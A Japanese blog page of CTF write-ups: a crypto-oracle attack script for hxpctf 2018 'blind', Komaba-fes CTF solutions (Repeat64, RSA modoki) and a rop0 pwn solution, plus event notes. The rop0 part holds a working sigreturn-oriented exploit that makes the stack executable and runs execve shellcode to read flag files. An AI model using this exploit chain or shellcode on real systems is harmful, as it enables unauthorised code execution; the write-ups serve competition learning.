cookies.txt      .scr

ただのテキストファイルのようだ

hxpctf2018 writeup blind

なかなか好きな問題でした。

問題

#!/usr/bin/env python3
import os, random
from Crypto.Cipher import AES

aes = AES.new(os.urandom(16), AES.MODE_ECB)
enc = lambda x: aes.encrypt(x.to_bytes(16, 'big')).hex()
dec = lambda y: int.from_bytes(aes.decrypt(bytes.fromhex(y)), 'big')

p = 0xfffffed83c17          # |G| = p
mul = lambda x, y: (x+y)%p  # g^x * g^y = g^(x+y)
inv = lambda x: (-x)%p      # (g^x)^-1  = g^(-x)
dhp = lambda x, y: x*y%p    # enjoy your oracle!

g = 1
y = random.randrange(p)
print(y, file=__import__('sys').stderr)

print(enc(g), enc(y))

for _ in range(0x400):
    try:
        q = input().strip().split()
    except EOFError: break
    if q[0] == 'mul':
        print(enc(mul(*map(dec, q[1:]))))
    if q[0] == 'inv':
        print(enc(inv(dec(q[1]))))
    if q[0] == 'dhp':
        print(enc(dhp(*map(dec, q[1:]))))
    if q[0] == 'sol':
        if int(q[1]) % p == y:
            print(open('flag.txt').read().strip())
        break

固定値pをmodとした世界で、コネクションごとに乱数yが生成されます。
g=1と乱数yを暗号化した結果を接続時に与えられます。
暗号化は、AESで毎回keyはrandomにgenerateされますが、ECBです。
oracleとして、暗号化された数値を送ると、mul: x + y, inv: -x, dhp: x * yの暗号文を得ることができます。
0x400 == 1024クエリ以内に、yがいくらであったのかをexactに求めてください。

考察

今回の回答は、1/18未満の確率でうまくいくものです。(クエリ回数超過の可能性と、最後の解答が17/18で間違う可能性)

まず、今回のAES暗号化は、ECBなので(じゃなくてもか?)同じメッセージに対する暗号文は不変です。
ですから、xに対していろいろと操作をして、またxにもどったかどうかを判定することができます。

mul: x+yと、inv: -xは正直ほとんど役に立てられません。pは素数なので、足し算や反数をとってもだいたい対称な操作で、求めることにあまり意味を感じられません。
せいぜいyにひたすらg=1を足していって、g=1と等しくなったかで判明するくらいでしょうか。
dhpを繰り返し行うことで、x^nを求めることができます。nはこちらで自由に設定できる数字です。バイナリ法により、2 \lg nの回数程度で求めることができます。

|Z_p^*| = p-1 = 2 \cdot 3^2 \cdot 7 \cdot 13^4 \cdot 47 \cdot 103 \cdot 107 \cdot 151であり、こちらの世界では値ごとに特徴が十分見いだせます。
まず、Z_p^*の生成元を g=5(いままでg=1として使っていましたが、以降ではg=5として使います。生成元にg以外を使うのは考えられません。)として、各数値の指数(i.e.  i = \log_g x)を考えます。
yの(gでの)指数をiとしたとき、i(p-1) \mod (p-1) = 0は当然なのですが、i \frac {p-1} 2 \mod (p-1)が0か否かによって、iの偶数性が分かります。
これらは、それぞれ、y^{p-1} = 1 \mod pが常に成立することと、y^{\frac {p-1} 2} \mod pが1かどうか確かめることに相当します。
これでは0か否か、しか求められないので、modをちゃんと求めるには、指数をdecrementして0かどうか確かめる...ということを繰り返す必要があります。
つまり、i \mod 151を求めるには、g^{i \frac {p-1} {151}} = g^{(151k+n) \frac {p-1} {151}} = y^{\frac {p-1} {151}} \mod pを確認し、1でなければg^{(151k+n-1) \frac {p-1} {151}} = y^{\frac {p-1} {151}} {(g^{-1})}^{\frac {p-1} {151}} \mod pを確認し...とつづけることになります。

m = 151, 107, 103, 47, 7それぞれについて、指数のmodを確認するために、{(g^{-1})}^{\frac {p-1} m}と、y^{\frac {p-1} m}を計算する必要があり、あわせて2 * 2lg((p-1)/m) < 2*2 lg p < 184回クエリ、それから、mod pが1でない間、掛け算を繰り返す必要があり、最大でm回のクエリが必要となります。
m = 13, 13^2, 13^3, 13^4については、m=13^4に対して {(g^{-1})}^{\frac {p-1} m}y^{\frac {p-1} m}を計算したら、それを13乗してm=13^3のもの、また13乗してm=13^2、次にm=13のものを得ることができます。
そしてi \mod 13を計算できたら、i \mod 13^2は13通り、それもわかったらi \mod 13^3も13通りなので、4 \cdot 13程度のクエリでがんばれます。


とまあこの雑なクエリ回数見積もりを合計すると、1500を超えるんですが、まあ大きめに見積もったからね、しょうがないね。(ほんまか)
一応姑息な感じに多少のクエリ回数ゴルフをして、あとは運任せです。

ここまででyの指数iについて i \mod (7 \cdot 13^4 \cdot 47 \cdot 103 \cdot 107 \cdot 151)が判明した(∵中国人剰余定理)ので、確率は \frac 1 {2 \cdot 3^2} = \frac 1 {18}というわけです。
最後にg ^ iを雑に投げます。当たると嬉しいです。

回答

攻撃コードです。もうちょっときれいにならなかったのか。中国人剰余定理のためにgpを呼び出しています。

require 'socket'

def pow(x, y, m)
  r = 1
  while y > 0
    r *= x if y.odd?
    x *= x
    y >>= 1
    r %= m
    x %= m
  end
  r
end

class S < TCPSocket
  attr_reader :g, :y, :ctr

  def initialize
    #super '78.46.149.10', 13373
    super 'localhost', 4567
    @ctr = 0
    @g, @y = gets.split
  end

  def add x, y
    @ctr += 1
    puts 'mul %s %s' % [x, y]
    gets.chomp
  end
  def inv x
    @ctr += 1
    puts 'inv %s' % x
    gets.chomp
  end
  def mul x, y
    @ctr += 1
    puts 'dhp %s %s' % [x, y]
    gets.chomp
  end
  def sol x
    @ctr += 1
    puts 'sol %d' % x
  end
  def pow x, y
    res = @g
    loop do
      res = mul(res, x) if y.odd?
      y >>= 1
      break if y == 0
      x = mul(x, x)
    end
    res
  end
end

s = S.new

P = 0xfffffed83c17
PHI = P-1
# 2,3,3,7,13,13,13,13,47,103,107,151

G, Y = s.g, s.y
ONE = G
TWO = s.add(ONE, ONE)
FOUR= s.add(TWO, TWO)
FIVE= s.add(FOUR, ONE)
GEN = FIVE # 5
IGEN= s.pow(GEN, PHI-1)

puts 'p: %d' % P
puts 'one: %s' % G
puts 'y: %s' % Y

gpq = ['a = Mod(0, 1)']
factors = [7, 47, 103, 107, 151]
memo = s.pow(IGEN, 2*3*3)
memoy= s.pow(Y, 2*3*3)
factors.each do |f|
  seed = s.pow(memo, PHI/(2*3*3*f))
  now = s.pow(memoy, PHI/(2*3*3*f))
  idx = f.times.find do |t|
    next true if now == ONE
    now = s.mul(now, seed)
    false
  end
  mod = idx
  puts 'idx mod %d == %d' % [f, mod]
  gpq << 'a = chinese(a, Mod(%d, %d))' % [mod, f]
  puts 'ctr: %d' % s.ctr
end

begin
  f = 13
  ig4= s.pow(memo, PHI/(2*3*3*f**4))
  ig3= s.pow(ig4, f)
  ig2= s.pow(ig3, f)
  ig1= s.pow(ig2, f)

  n4 = s.pow(memoy, PHI/(2*3*3*f**4))
  n3 = s.pow(n4, f)
  n2 = s.pow(n3, f)
  n1 = s.pow(n2, f)

  idx = f.times.find do |t|
    next true if n1 == ONE
    n1 = s.mul(n1, ig1)
    false
  end
  m1 = idx
  puts 'm1: %d' % m1

  n2 = s.mul(n2, s.pow(ig2, m1))
  idx = f.times.find do |t|
    next true if n2 == ONE
    n2 = s.mul(n2, ig1)
    false
  end
  m2 = idx
  puts 'm2: %d' % m2

  n3 = s.mul(n3, s.pow(ig3, m1))
  n3 = s.mul(n3, s.pow(ig2, m2))
  idx = f.times.find do |t|
    next true if n3 == ONE
    n3 = s.mul(n3, ig1)
    false
  end
  m3 = idx
  puts 'm3: %d' % m3

  n4 = s.mul(n4, s.pow(ig4, m1))
  n4 = s.mul(n4, s.pow(ig3, m2))
  n4 = s.mul(n4, s.pow(ig2, m3))
  idx = f.times.find do |t|
    next true if n4 == ONE
    n4 = s.mul(n4, ig1)
    false
  end
  m4 = idx
  puts 'm4: %d' % m4
  gpq << 'a = chinese(a, Mod(%d, %d))' % [[m4,m3,m2,m1].inject(0){|s,x|s*13+x}, f**4]

  puts 'ctr: %d' % s.ctr
end

gpq << 'print(a)'
mod = nil
IO.popen("gp -q", "r+") do |gpio|
  gpio.puts gpq.join("\n")
  gpio.close_write
  mod = gpio.read.lines[-1]
end
a, b = mod.scan(/Mod\((\d+), (\d+)\)/)[0].map(&:to_i)
puts 'Mod(%d, %d)' % [a, b]

s.sol pow(5, a, P)

puts s.read

駒場祭CTF Day3 writeup (Repeat64, RSA modoki, rop0)

この記事はTSG Advent Calendar 20187日目の記事です。
adventar.org
昨日はakouryyさんの駒場祭 codegolf day2 writeup (or Haskellゴルフのすすめ)でした。



一つ前の記事で、駒場祭CTF Day1の問題の公開をしました。
Day1は出題側でしたが、Day3ではプレイヤーをしました。
本番中では自分ではLeap ItとRSA modokiだけ解きましたが、そのあと全部解きました。
同Advent Calendar 4日目の記事でmoratoriumさんがwriteup全部書いてくれたので、なんか書く価値がゼロではなさそうなものだけ書きます。
moraprogramming.hateblo.jp

Repeat64

2文字列の間の距離を、各位置の文字のbyteのxorの総和として定義します。
最初の方から、2文字の文字列全通りのうち、それに10回base64を重ねた結果と期待される出力の間で距離が最小なものをとり、その2文字のうちの1文字目だけの方を確定させ、続きをします。

rubyで書くとこんな感じです。

require 'base64'
s = `cat output_repeat64.txt`
cs = [*?A..?Z,*?a..?z,*?0..?9,?{,?},?_]
def e(x); Base64.encode64 x; end
def dis(x,y); x.bytes.zip(y.bytes).inject(0){|s,(x,y)| (x^y) + s}; end
100.times.inject(""){|t,_| p t; t+cs.repeated_permutation(2).min_by{|x| x=t+x.join; dis(10.times.inject(x){|s,_| e(s).gsub("\n",'')}, s)}[0]}
RSA modoki

想定解とも、moratorium解法とも違うやり方をしました。

z = e^e \mod M, w = n^e \mod Mと定義します。
これらは今回渡される情報に含まれていて、既知です。

これは定義より、あるk,l \in \mathbb Zがあって、e^e - z = kM, n^e - w = lMが成立します。

よって、M = \gcd(kM, lM) = \gcd(e^e-z, n^e - w)が成立することが十分期待できるのですが、n^eが巨大なため、まともには計算できません。
ここで、gcdを求めるためのユークリッドの互除法アルゴリズムを考えたりすれば、すぐに \gcd(kM, lM) = \gcd(kM, lM \mod kM)が成立することがわかります。
kM \simeq  e^eは比較的小さいため、これは現実的に計算ができます。
 M = \gcd(kM, lM) = \gcd(kM, (n^e - w) \mod kM) = \gcd(kM, \pow(n, e, kM) - w)です。

e = 65537
n = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373           

z = 375612358701229073413882940002322411554848628784774745002742479074624937864104171326560375938134436592822640458928924467
w = 632046538584332201873274417878381858396228945227318911729612016577023469248601061277855710342231510600619284695220328003
kM = e^e - z
lM = lift((Mod(n, kM)^e) - w)

print(gcd(kM, lM))
rop4/rop1

競技中は一切見なくて、終わった後に眺めたんですが、はじめのうちはなにしてほしいんだか全然わかりませんでした。
いくらかして「あー、retの前に自分の好きな値1byte書き込めるのか」となりましたが、結局書き込みは使いませんでした。

最終的な解答は、下です。rubyです。なんかさとすさんに言われたので、スタックサイズゴルフしたあとの結果です。payloadの部分は一切無視です。rop0です。

SigReturn Oriented Programmingというのをやります。
sigreturnのsyscall noは15なので、syscallをする前にeaxを15にしなければならないのですが、それはreadに15byteの入力を与えてやることでできます。
一番始めのもともとのreadでsigreturnへの引数スタックを構築し、始めのropでreadを呼び、次のrop addrとなるsyscallのアドレスをいれつつ15byteのデータを送ることでeaxを15に調整。そしてsigreturnでmprotect syscallを呼び出し、stackをexecutableに設定。sigreturnの引数のrspからのropで、シェルコードをスタック上に書き込み、ropでそのシェルコードにジャンプ。
payloadのところのrop gadgetを使わない制限を置くと、基本的にread先、サイズが固定されてしまうので、サイズ256のreadに今回の240byteのデータを送りつけるのはわりとフル活用していると言えます。
もし規定のreadサイズが100byteとかだと、payloadなしだときつそうです。知らんけど。

#encoding: BINARY
require 'socket'

#s = TCPSocket.new('localhost', 4567)
s = TCPSocket.new('external.pwn.ctf-day3.tsg.ne.jp', 30000)

stack = [
  0x400120, # read 15 byte
            # syscall (sigreturn)

  *[0]*5,   #
  *[0]*8,   # r8-r15
  0x800000, # rdi  addr
  0x100,    # rsi  len
  0x400120, # rbp <= new rsp
  0x40013c, # rbx
  0x7,      # rdx  prot
  0xa,      # rax  mprotect
  0x0,      # rcx
  0x800000 + 8*16, # rsp
  0x40013c, # rip
  0x0,      # eflags
  0x33,     # csgsfs
  *[0]*4,   #
  0,        # &fpstate
].pack("Q*")
puts stack.size

s.write stack.ljust(0x100, ?0)

s.write [0x40013c, 0].pack("Q*").ljust(15, ?0)[0,15]
s.flush
sleep 1

# http://shell-storm.org/shellcode/files/shellcode-806.php
sh = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# add rsp, 0x100
sh = "\x48\x81\xc4\x00\x01\x00\x00" + sh
s.write ([0x800008].pack("Q") + sh).ljust(0x100, ?0)

s.puts 'ls -l'
s.puts 'cat /home/*/flag'
s.puts 'exit'

while l = s.gets
  puts l
end
宣伝

駒場祭CTFではないんですが、同じスコアボードを使いまわしてmoratoriumくんが謎問を公開しています。
ぜひ解いてあげましょう。僕はちゃんと解きました。
まあmin-camlをこのためだけに読むのもあれなのは確かなのですが。
moraprogramming.hateblo.jp



明日のTSG Advent CalendarはhakatashiがTSGアニメ鑑賞会の話をしてくれる予定っぽいです。

駒場祭企画 TSG LIVE! 2 CTF DAY1の問題

※この記事は TSG Advent Calendar 2018 2日目のエントリです。
昨日は(?)博多市さんの知的ゲーム「たほいや」のすすめでした。
adventar.org

先月の23-25、駒場祭がありました。サークルTSGは五月祭に引き続いてライブ放送をインターネットに投げつけました。
ライブの細かい話は同アドベントカレンダーで15日に博多市さんがまとめてくれるんだと思います。

僕は1日目CTFの出題・放送と、3日目CTFのプレイヤーをしました。
僕が出題した分はまだ遊べます→TSG Live CTF Day1
今日問題の中身を公開した後、1週間後、来週の日曜日24:00以降の適当なタイミングで閉じようかと思います。

登録していただいたチームは、放送時に内部プレイヤーとして参加したチームを除き、現在のところ20チーム。そのうち4チームが得点をしてくれました。
CTFdをadmin権限で眺めると、41 IP addressからアクセスがあったそうです。
参加していただいたチームおよび放送を眺めてくださった方々はありがとうございました。

5問作りましたが、1問はまだだれも解いてくれていません。
TSGの1チームがそれを除く4問を解いてくれました。
が、あとは2問しか解いてくれてない...悲しい。
[追記] moratoriumさんがcruel dd解いてくれました!!!やった!!!


そんなところですが、問題の中身を公開しようと思います。
これくらいのちまっとしたCTFを開催するときに参考にできるようならしてください。
github.com

アドベントカレンダー、明日は早速、taiyoslimeさんの「駒場祭CTF day1 Writeup」の予定です。彼はさっき書いた4問解いてくれたチームです。


以下は記念です。
f:id:cookie-s:20181202023157p:plain

SECCON 2018 Quals write-up (classic, kindvm, gacha lv.1/2, shooter last part)

TSGで出ました。2位です!わいわい!
本戦は僕は出れません。

チームのひとびとの記事

hakatashi.hatenadiary.com
moraprogramming.hateblo.jp
qiita.com



自分がflag submitした問題は、タイトルの5つのようです。
うち、shooterは最後の段階しかやっていません。

続きを読む